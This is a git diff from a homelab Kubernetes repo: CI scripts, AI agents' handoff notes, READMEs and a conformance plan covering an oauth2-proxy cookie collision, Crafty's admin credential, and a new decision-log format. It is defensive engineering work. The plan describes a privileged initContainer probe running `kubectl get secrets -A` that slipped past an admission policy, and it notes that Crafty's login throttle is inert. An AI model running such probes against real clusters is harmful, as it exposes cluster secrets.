if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
rm -f "${tgz}" "${b64}"
exit 0
fi
bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
cat "${b64}"
printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
rm -f "${tgz}" "${b64}"
exit 0
)
exit "${rc}"
}
# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
# emits a second envelope into its child's tee'd log.
if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
trap 'conf_emit_artifacts_tgz "$?"' EXIT
fi
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
gen_coverage() {
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
@@ -1,123 +0,0 @@
---
date: 2026-09-29
branch: fix/crafty-oauth2-proxy-signin
title: Crafty "won't sign in after Keycloak" — the gate was fine, Crafty's own login was the wall
---
## What changed
Reported as *"crafty utilizing the keycloak oauth2-proxy does not sign in to the service after
signing into keycloak; there is no way to set the service up without credentials."* The sidecar's
own access log settles which layer refused, and it is not the one the report names:
GET / -> 302 to Keycloak
[AuthSuccess] ... groups:[platform-admins] <- oauth2-proxy did its job
GET /oauth2/callback -> 302
GET /panel/dashboard -> 302
GET /login?next=/panel/dashboard -> 200 <- CRAFTY's own login page
POST /api/v2/auth/login/ -> 401 <- CRAFTY refused
**The Keycloak gate was never broken.** Crafty 4 has no OIDC and cannot consume the sidecar's
identity headers, so it presents its own local login to an already-authenticated user. That second
factor is intended. What was not intended — and what made the service genuinely impossible to set
up — is that **nothing documented where that password comes from**. Crafty generates it **once, on
first boot only** (users table empty → `DatabaseBuilder.default_settings()`) into
`/crafty/app/config/default-creds.txt`, mode `0600`, on the PVC's `config` subPath. Never in git; a
fresh PVC generates a new one and the old is gone with the volume. `platform/crafty/README.md`
asserted the double login was "expected, not a bug" and then left the reader with no way forward —
the assertion was true and useless in the same sentence.
So this branch:
- Adds `runbooks/crafty-admin-credential.md` — tell the two auth layers apart from the sidecar log,
retrieve and rotate the bootstrap credential, and reset a lost one via argon2. Registered in the
runbooks `configMapGenerator`/`kustomization.yaml` and listed in `runbooks/README.md`, so the URL
actually resolves rather than the file merely existing.
- Documents the credential's provenance and the two auth layers in `platform/crafty/README.md`.
- **Fixes a second, real defect found while proving the first.** Both oauth2-proxy instances emitted
oauth2-proxy's **default** cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
`.home.keithjackson.dev`, while holding **different** cookie-secrets. One cookie pair, two
proxies: whichever authenticated last clobbered the other's session; the loser logged `No valid
authentication in request`, bounced to Keycloak, and — SSO session still live — was redirected
straight back, clobbering it again. **That mutual eviction presents exactly as the reported
symptom**, intermittently, and would have been blamed on Keycloak indefinitely. Fixed on the
crafty side only (renaming the shared proxy's cookie would sign out every other gated app): a
unique `--cookie-name=_oauth2_proxy_crafty` plus a **host-scoped** `--cookie-domain`.
`--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
**Considered and rejected: seeding `default.json` from a SOPS Secret.** Crafty does ship the hook —
`find_default_password()` reads `app/config/default.json` (`username`, `password`, min 8 chars) and
`delete_default_json` controls its removal — so an initContainer could make a rebuilt Crafty's admin
password deterministic and git-managed. Rejected: the image entrypoint pulls its default config
**only when `app/config` is empty** (`if [ ! "$(ls -A --ignore=.gitkeep ./app/config)" ]; then cp -r
./app/config_original/* ./app/config/`). Writing `default.json` there pre-boot makes the directory
non-empty and **suppresses the entire config bootstrap** — no `config.json`, no `credits.json`.
Doing it safely means replicating the entrypoint's copy inside the initContainer, i.e. co-owning
image-internal bootstrap logic that a 4.11 bump can change silently, to replace a one-command
retrieval. Not worth it. If it is ever revisited, the `ls -A` guard is the landmine to design around.
## What I verified
- **Which layer refused**, from the sidecar's own access log: `[AuthSuccess] ...
groups:[platform-admins]` followed by Crafty's `/login` page and `POST /api/v2/auth/login/ → 401`.
oauth2-proxy admitted the user; Crafty rejected the local credential.
- **The existing bootstrap credential is still usable**, so no DB surgery is needed to get in:
`users.last_update` **equals** `users.created` for `admin` (`09/05/2026, 08:10:04`) — the password
has never been changed — and admin's `last_login` is 09/14 from `127.0.0.1`, the API login that
created the "homelab" server. `default-creds.txt` is therefore live.
- **The two cookie-secrets differ** — compared the two live Secrets (key presence/values compared
in-cluster, not printed), so neither proxy can decrypt the other's cookie; and both instances were
emitting the default cookie names on the shared `.home.keithjackson.dev` scope.
- **The 3-strikes cooldown cannot fire behind this sidecar.** Crafty *records* failed attempts under
`get_remote_ip()` (honours `X-Forwarded-For` — the live tracker key is the chain
`"192.168.2.132, 10.0.0.123"`, with 1 attempt: the reported 401) but *checks* the cooldown under
`self.request.remote_ip`, always `127.0.0.1` here. The halves key differently, so
`get_recent_attempts()` always reads empty and `max_login_attempts: 3` never fires. Good
(**repeated guesses cannot lock the operator out**) and bad (that throttle is not a control we
have; the `platform-admins` gate is the only thing limiting who reaches the form). I had written
the opposite into the README from the config value alone before measuring it — the config key
existing is not the same claim as the code path running.
- **`set_passwd` is unreachable in k8s**: it calls `getpass.getpass()` and needs a TTY; the container
runs `main.py -d -i`. Recovery must go through the DB.
- **argon2 is installed only in `/crafty/.venv/bin/python`** — the system `python3` in that container
cannot import it, so the obvious reset one-liner fails.
- **`dev.sh` does not forward stdin.** A `kubectl exec -i` through it hangs forever (provoked, not
assumed). So the runbook's reset generates its password **in-pod** into a `0600` file — Crafty's own
`default-creds.txt` idiom — rather than passing a secret through argv, stdin or shell history.
- **Gate:** toolbox `./ci/gate.sh` — see the next section for the exit code. Green stages:
`spec-immutability`, `lint`, `l0`, `render-golden`, `l1`.
## What I did NOT verify
- **No browser round-trip.** The sign-in fix is **UNVERIFIED end-to-end**. The cookie change is
reasoned from measured facts (default cookie names on both, shared domain, differing secrets) and
renders correctly, but nobody has signed in through it. The human test is in
`platform/crafty/README.md`.
- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
still the pre-fix spec (`crafty-64f7b6d78-pkpgp`, 2/2, 15d, 0 restarts — unchanged by this
session's read-only probes). **Merging is what deploys, and it will restart the pod** —
`strategy: Recreate` on an RWO volume, so the "homelab" Minecraft server stops and restarts. Pick
the moment.
- **Gate rc 3, not 0.** Green: `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`. **Skipped:**
`gitea-settings` (no `SETTINGS_API_TOKEN`) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset) —
touched requirements `R-DNS-01 R-NET-01 R-OBS-04 R-PLAT-02 R-STATE-01` are **not certified**.
Nothing failed; nothing runtime was proven either. **rc 3 is UNDETERMINED, not green.**
- **The admin password was not rotated**, and the bootstrap credential is still the standing admin
credential. The runbook says to rotate on first sign-in; that is an operator action and is still
open.
- **The cookie collision's symptom was never reproduced in a browser.** This is the part of the
change with no observed failure to point at — the sidecar trace above shows a *working* session,
because that browser had not visited another gated app first. It is a latent-bug fix.
### Follow-ups
1. **Sign in and rotate** — `runbooks/crafty-admin-credential.md`, then confirm `last_update` moves
off `created`. Until then the panel's admin password is a value generated on 2026-09-05 that has
sat unchanged and undocumented.
2. **Decide whether the inert brute-force cooldown matters.** Fixing it is upstream (Crafty keys the
two halves differently); the alternative is to accept the `platform-admins` gate as the only
throttle and say so.
3. **Any further per-app reverse-proxy sidecar needs a unique `--cookie-name` too.** The collision is
a property of the pattern, not of Crafty. Worth an L0 check asserting that every oauth2-proxy
instance in the tree declares a distinct cookie name — the failure is silent and intermittent,
which is exactly the shape this repo keeps getting burned by.
@@ -1,82 +0,0 @@
---
date: 2026-09-29
branch: chore/decisions-log-conflict-free
title: The handoff log was serialising every parallel branch — it is a directory now
---
## What changed
`DECISIONS-LOG.md` is frozen and the handoff log is now a directory, `decisions/`, with one
file per entry (`YYYY-MM-DD-<slug>.md`). Concurrent branches write disjoint paths, so there
is nothing for git to merge.
The problem was not any particular change. CLAUDE.md §7 told every agent to append a handoff,
and appending always landed on the *same last hunk* of one 5,228-line file. Two branches that
both did it could not auto-merge; N branches cost N-1 rebases, and each rebase invalidated the
gate run before it. The agents work in isolated worktrees precisely so they don't block each
other, and this one file undid that.
- `decisions/README.md` — the convention, the template, and how to read the log. No index file
and no sequence number, deliberately: an index is a shared mutable file (the thing that just
failed) and a counter has two agents racing for the same number. The directory listing is the
index.
- `DECISIONS-LOG.md` — a "FROZEN ARCHIVE" header prepended; content otherwise untouched. Its
SHA-256 is pinned in `decisions/ARCHIVE.sha256`.
- `ci/decisions-log.sh` — a new gate stage. Asserts the archive matches its pin, and that every
entry is named `YYYY-MM-DD-<slug>.md` with a real date, carries `date`/`branch`/`title`
frontmatter agreeing with its filename, and has all three of §7's sections with a real body
under each. Exit 0 or 1 only; it has no skip path by construction, because it reads only files
in the tree under test and needs no tool and no cluster.
- `ci/gate.sh` — runs the stage; both `fail` and (impossible) `skip` set `BLOCK`. There is no
`REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard.
- `ci/tests/decisions-log.test.sh` — 22 assertions, new.
- `ci/tests/gate-decision.test.sh` — 3 new assertions for the stage's wiring, **plus a
pre-existing bug fixed**: its stub list never included `gitea-settings`, so that stage's
script was absent from the stub CI dir, `run_stage` recorded exit 127 as a FAILED stage in
every case, and 15 of 47 assertions failed on `main`. The suite was measuring its own missing
stub rather than the decision logic.
- `CLAUDE.md` §7 rewritten; §1's "stale runbook wording" caveat extended to the log.
- `ci/Makefile`, `ci/README.md`, `.gitea/workflows/README.md` — the stage named where stages are
named.
A guard rather than a paragraph, because the old habit is written into the runbooks and into
every agent that has read the log, and getting it wrong does not fail: it produces a clean-looking
commit that re-creates the conflict on *other people's* branches, later, misattributed.
## What I verified
Measured against the live Gitea (`GET /api/v1/repos/Home-Network/home-network-k3s-impl/pulls`,
2026-09-29), not inferred from the tree:
#22 fix/crafty-oauth2-proxy-signin mergeable=False
#20 feat/conformance-job-template mergeable=False
#19 feat/conformance-trigger-kubeconfig mergeable=False
#18 feat/conformance-runner-image mergeable=False
#17 feat/ci-is-the-approver mergeable=True
`git merge-tree --write-tree origin/main origin/<branch>` for each named
`CONFLICT (content): DECISIONS-LOG.md` and **no other conflicting path** in all four. #17 is
clean and touched no log entry. So the log's storage format was the whole of the blockage.
Tests: `ci/tests/decisions-log.test.sh` **PASS (22 assertions)**, including the one that
matters — an append to `DECISIONS-LOG.md` exits non-zero and the message names both the frozen
archive and the file to write instead. `ci/tests/gate-decision.test.sh` **PASS (50 assertions)**,
up from **FAIL (15 failed, 32 passed)** on `main` before the stub fix.
Gate: see the run quoted in the PR description.
## What I did NOT verify
- **Nothing was applied and nothing was merged.** No `kubectl`, no `flux reconcile`. This change
touches only CI and documentation; it has no cluster-visible effect at all.
- **L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), as always. Irrelevant to this
change's content but stated so the gate result is not over-read.
- **I have not watched a Gitea PR check run this stage.** The stage is proven by its own unit
test and by the gate locally; that the `incluster-dind` runner executes it is unobserved here.
A skipped Gitea job still reports `success`, so read the job log, not the tick.
- **The four hung PRs are not yet fixed by this commit.** They still carry their
`DECISIONS-LOG.md` appends and will still conflict until each is rebased onto this change with
its append converted to a `decisions/` entry. That is follow-up work, in flight separately.
- **`runbooks/` and older entries still say "append to DECISIONS-LOG.md"** in places. I did not
sweep them. The gate now rejects the action, so the stale wording misleads but cannot cause
the damage; it joins the existing tracked work on stale `git push origin main` wording.
-1
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@@ -1 +0,0 @@
b16e8cb7ea12720bc7c3a77a496211e3204534c5e6600ba748fb9ab14fa21c26 DECISIONS-LOG.md
-101
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@@ -1,101 +0,0 @@
# `decisions/` — the handoff log, one file per entry
This directory **is** the decision log. `../DECISIONS-LOG.md` is the frozen archive of
everything written before 2026-09-29 and is never edited again (see "The archive is
frozen" below).
## Why this exists
`DECISIONS-LOG.md` was append-only in a single file, and every agent appended to its
**tail**. Two branches that both append hit the same last hunk, so git cannot
auto-merge them: the second one to be reviewed conflicts, and so does the third, and
the fourth. Measured on 2026-09-29: **four of the five open PRs were unmergeable, and
`DECISIONS-LOG.md` was the only conflicting file in all four**:
#22 fix/crafty-oauth2-proxy-signin CONFLICT (content): DECISIONS-LOG.md
#20 feat/conformance-job-template CONFLICT (content): DECISIONS-LOG.md
#19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
#18 feat/conformance-runner-image CONFLICT (content): DECISIONS-LOG.md
#17 feat/ci-is-the-approver clean (it touched no log entry)
Nothing was wrong with any of those changes. The log's *storage format* serialised work
that was otherwise parallel, and it got worse with every concurrent branch: N branches
produce N-1 rebases, each of which invalidates any gate run that preceded it.
The fix is the obvious one for concurrent appenders: **stop sharing a file**. Each
handoff is its own file. Two agents writing handoffs touch disjoint paths, so there is
nothing for git to merge and nothing to conflict. This scales to any number of parallel
branches with zero coordination — which is the point, since the agents are deliberately
isolated from each other in separate worktrees and cannot coordinate.
There is deliberately **no index file** and no counter. An index would be a shared
mutable file — exactly the thing that just failed — and a sequence number would have
two agents racing for `0043`. The directory listing is the index.
## Writing an entry
One file per handoff, named:
decisions/YYYY-MM-DD-<slug>.md
`<slug>` is lowercase `[a-z0-9-]`. **Use your branch name's last segment** — it is
already unique per unit of work, which is precisely the property the filename needs.
A branch `fix/crafty-oauth2-proxy-signin` handed off on 2026-09-29 writes:
decisions/2026-09-29-crafty-oauth2-proxy-signin.md
The file is YAML frontmatter followed by three required sections:
```markdown
---
date: 2026-09-29
branch: fix/crafty-oauth2-proxy-signin
title: The Keycloak gate works — Crafty's own login was the wall
---
## What changed
Prose. What you actually did, and why.
## What I verified
The measurements, with their numbers. Quote the field you read, not the prose you
believed. Name the gate result and its exit code.
## What I did NOT verify
Everything else. An honest "UNVERIFIED" is worth more than an optimistic "green" —
this repo has been burned by the difference more than once.
```
All three headings are **required and enforced** (`ci/decisions-log.sh`). They are
CLAUDE.md §7's contract; making them a checked structure is what stops an entry
degrading into "done ✅".
## Reading the log
The whole log, oldest first:
ls decisions/[0-9]*.md | sort
The current PM handoff — the newest entry. Ties within a day are broken by what landed
on `main` last, which is the honest answer, so ask git rather than the filename:
git log --diff-filter=A --format='%H' --name-only -- 'decisions/[0-9]*.md' \
| grep '^decisions/' | head -1
For a quick skim of who said what:
grep -H '^title:' decisions/[0-9]*.md | sort
## The archive is frozen
`DECISIONS-LOG.md` is **read-only history**. Its SHA-256 is pinned in
`decisions/ARCHIVE.sha256` and `ci/decisions-log.sh` fails the merge gate if the file
changes. That is not ceremony: without it, the next agent to read `runbooks/` or an old
CLAUDE.md habit appends to the tail again and re-creates the conflict for everybody
else, silently, one PR at a time.
If the archive genuinely must change (a leaked credential to redact, say), that is a
deliberate, reviewed act: change it, run `sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256`,
and say in your handoff entry why. Re-pinning is visible in the diff. Appending is not.
+42 -4
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@@ -33,7 +33,7 @@ agents. So the credential model must be decided by the operator before anything
| Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
| CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
| Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
| Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
@@ -58,17 +58,42 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
## 3. Gaps to close (functional)
1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
`conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
entrypoint path and the Job pins that uid — see §4.)*
`ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
`CHAINSAW_VERSION` as the single source of truth the image is built from.
2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
**assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
`conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
install the entrypoint at that exact path) and provision that Secret (item 6).
Original text: → Add an
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
`--requirements` are injected by the CI trigger step as Job env/args.
3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
`conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
still ships its red JUnit — that prints the artifact tree as a base64 tar between
`=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
collection instead of decoding to plausible garbage; the five checks the collector owes are
spelled out above that function. It lives in `run.sh` and not in the Job because admission
pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
`kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
@@ -104,6 +129,19 @@ stack):**
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
`containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
`volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
`privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
**ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
`=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
same. Both are now covered by
`trigger-initcontainers-must-be-the-committed-clone-step` and
`trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
**The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
field that can carry executable intent, and a `pattern` over an array only asserts *at least
one element matches* — use `deny` conditions and cap the count. Also note the residual: no
rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
+13 -360
View File
@@ -21,7 +21,7 @@ Cilium L2 LoadBalancer (game protocols authenticate players themselves).
| PVC subPaths | `servers`→`/crafty/servers`, `backups`→`/crafty/backups`, `logs`→`/crafty/logs`, `import`→`/crafty/import`, `config`→`/crafty/app/config` |
| Identity | `runAsUser:1000 runAsGroup:0 fsGroup:0 runAsNonRoot:true` (see below) |
| Web host | `crafty.home.keithjackson.dev` → shared Gateway → `crafty` Service :80 → sidecar :4180 → Crafty :8443 |
| Game VIP | `${CRAFTY_L4_VIP}` (Cilium L2 LoadBalancer) — **prod `192.168.2.22`** (live `EXTERNAL-IP`, measured 2026-09-29); base/dev `192.168.1.55` |
| Game VIP | **192.168.1.55** (Cilium L2 LoadBalancer; `.53`=Gateway, `.54`=unifi, `.55`=crafty) |
| Game ports | starter set: **TCP 25565-25567** (Java), **UDP 19132-19134** (Bedrock) |
### fsGroup / user decision (the seerr lesson, applied)
@@ -49,49 +49,9 @@ Crafty's UI is gated by a **dedicated oauth2-proxy sidecar in the Crafty pod** (
`crafty.home.keithjackson.dev`). The `crafty` Service targets the sidecar, never Crafty's `:8443`, so
the gate is **in the data path** (fail-closed: no valid `platform-admins` session ⇒ no upstream).
#### Cookie isolation (why the session used to vanish)
This sidecar and the **shared** forward-auth oauth2-proxy are independent instances with **different
`cookie-secret` values** (measured in-cluster — neither can decrypt the other's cookie). Both used to
emit oauth2-proxy's *default* cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
`.home.keithjackson.dev`, so the browser held **one** cookie pair for **both**: whichever proxy
authenticated last clobbered the other's session, and the loser logged
`No valid authentication in request`, bounced to Keycloak, and — because the Keycloak SSO session was
still live — was redirected straight back, clobbering the cookie again. That mutual eviction presents
exactly as *"I signed in to Keycloak but I'm still not signed in."*
Fixed on this side only (renaming the shared proxy's cookie would sign out every other gated app):
`--cookie-name=_oauth2_proxy_crafty` and a **host-scoped** `--cookie-domain=crafty.home.keithjackson.dev`.
`--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
#### Crafty's own local login — this is where setup actually blocks
Crafty has **no OIDC**, so after oauth2-proxy admits the user they still meet Crafty's own
username/password page. That second factor is intended. What was **not** intended — and what made the
service impossible to set up — is that **nothing documented where that password comes from**.
Crafty generates it **once, on first boot only**, when the users table is empty
(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`), and writes it to
**`/crafty/app/config/default-creds.txt`** (mode `0600`, on the `config` subPath of the PVC). It is
**never** in git and **cannot** be recovered from git: a rebuild onto a fresh PVC generates a *new*
random password. Submitting anything else yields `POST /api/v2/auth/login/` → **401**, which is exactly
what a browser sees with no hint as to why.
**→ Retrieval, rotation, and lost-password recovery: [`../../runbooks/crafty-admin-credential.md`](../../runbooks/crafty-admin-credential.md).**
Two traps that runbook covers:
- Crafty's `set_passwd` console command is **unreachable** in Kubernetes — it calls
`getpass.getpass()` and so needs a TTY, while the container runs `main.py -d -i` (daemon).
Recovery therefore has to go through the DB with Crafty's own argon2 hasher.
- Crafty's own 3-strikes brute-force cooldown is **inert behind this sidecar**, verified live. Crafty
*records* failed attempts under `get_remote_ip()` (which honours `X-Forwarded-For` — the live
tracker key is the chain `"192.168.2.132, 10.0.0.123"`) but *checks* for a cooldown under
`self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The two halves key
differently, so `get_recent_attempts()` always reads an empty list and `max_login_attempts: 3`
never fires. Good news for the operator (**repeated guesses cannot lock you out**), but it means
the only thing actually limiting who can reach the login form is the oauth2-proxy
`platform-admins` gate — worth knowing before anyone treats that cooldown as a control.
> **Note:** Crafty ALSO has its own local admin login (it has no OIDC). After oauth2-proxy admits the
> user, they still see Crafty's own login page — a second, defense-in-depth factor. The operator logs
> in with Crafty's local admin credentials (set on first boot). This is expected, not a bug.
### Keycloak client
@@ -116,16 +76,15 @@ can't span namespaces). Both are age-encrypted to the repo `sops-age` recipient
## Game-port L4 exposure
The Gateway is L7-HTTPS-only; raw TCP/UDP game ports can't ride it. `service-l4.yaml` exposes them as
two `type=LoadBalancer` Services (TCP + UDP) sharing the pinned VIP `${CRAFTY_L4_VIP}` (**prod
`192.168.2.22`**)
two `type=LoadBalancer` Services (TCP + UDP) sharing the pinned VIP **192.168.1.55**
(`lbipam.cilium.io/sharing-key: crafty`), ARP-announced by the existing `default-l2` policy. This path
is **NOT auth-gated** — Minecraft Java (Mojang/Microsoft) and Bedrock (Xbox Live) authenticate players
themselves. `external-dns` publishes `crafty-mc.home.keithjackson.dev → ${CRAFTY_L4_VIP}`.
themselves. `external-dns` publishes `crafty-mc.home.keithjackson.dev → 192.168.1.55`.
### Adding more game ports (when the operator creates servers)
As of 2026-09-29 **two** servers exist (see *Runtime state* below): Java `homelab` on 25565 and
Bedrock `K3s-Bedrock` on 19132. The starter set covers 3 Java + 3 Bedrock slots. To add capacity:
The operator has **not created any servers yet**; the starter set covers 3 Java + 3 Bedrock slots. To
add capacity:
1. In the Crafty UI, create the server and bind it to a NEW port (Java TCP or Bedrock UDP).
2. Add that port to the matching Service in `service-l4.yaml` (one
@@ -134,274 +93,6 @@ Bedrock `K3s-Bedrock` on 19132. The starter set covers 3 Java + 3 Bedrock slots.
4. (Optional) add a `containerPort` in `deployment.yaml` for documentation.
5. Commit → Flux reconciles.
### Bedrock on UDP 19132 — the transport trap, and the ERROR banner that is NOT a refusal (MEASURED on prod 2026-09-29)
Two traps in sequence. The first hides the UDP socket; the second frightens you into undoing the fix.
As of 2026-09-29 21:34 this server is **reachable on `19132/udp` and answering**, measured from
off-cluster. Read both traps before changing anything.
#### Trap 1 — `transport=nethernet` (the shipped default) opens no RakNet UDP listener
Measured 20:54–21:32 against `K3s-Bedrock` (`c5837301-12b1-404e-b50e-70eafb37226b`, DB
`type=minecraft-bedrock`, `server_port=19132`, process `./bedrock_server` alive):
- `/proc/net/udp` and `/proc/net/udp6` held **no socket on 19132** (`0x4ABC`) at all. Port 19132 was
bound as **TCP** (`/proc/net/tcp6`, `…:4ABC`, state `0A`/LISTEN), not UDP.
- That is nethernet working as designed, and the **shipped `bedrock_server_how_to.html`** — the
vendor's own doc, sitting on the PVC beside the binary — says exactly why: nethernet *"listens on a
single dual-stack **TCP** socket on `server-port` for an HTTP-based signaling handshake, then
negotiates a UDP connection with each client that carries the gameplay traffic."*
- **So nethernet could never have worked here anyway, on two independent counts:** `service-l4.yaml`
exposes 19132 **only in the UDP Service** (`crafty-l4-tcp` carries 25565-25567 and nothing else), and
`crafty-allow-ingress` allows `19132 UDP` and **not** `19132 TCP`. The signaling port was unreachable
at both the Service and the policy layer. The server's own `packet-statistics.txt` for that run
agrees: `Total Received: 0, 0B` over 2293 s.
- Crafty does not manage this property (`transport` appears nowhere under `/crafty/app/classes/`) and
its *only* Bedrock probe is `raknet_ping.py`, so the panel logged `WARNING
app.classes.remote_stats.raknet_ping - Got timeout while issuing bedrock ping to 127.0.0.1:19132`
every ~5 s — **155 such lines** — against a server it had started successfully.
#### Trap 2 — under `transport=raknet` this build prints a scary ERROR banner and then works anyway
The operator set `transport=raknet` at 21:33:31 (`/crafty/logs/audit.log`: `Edited file
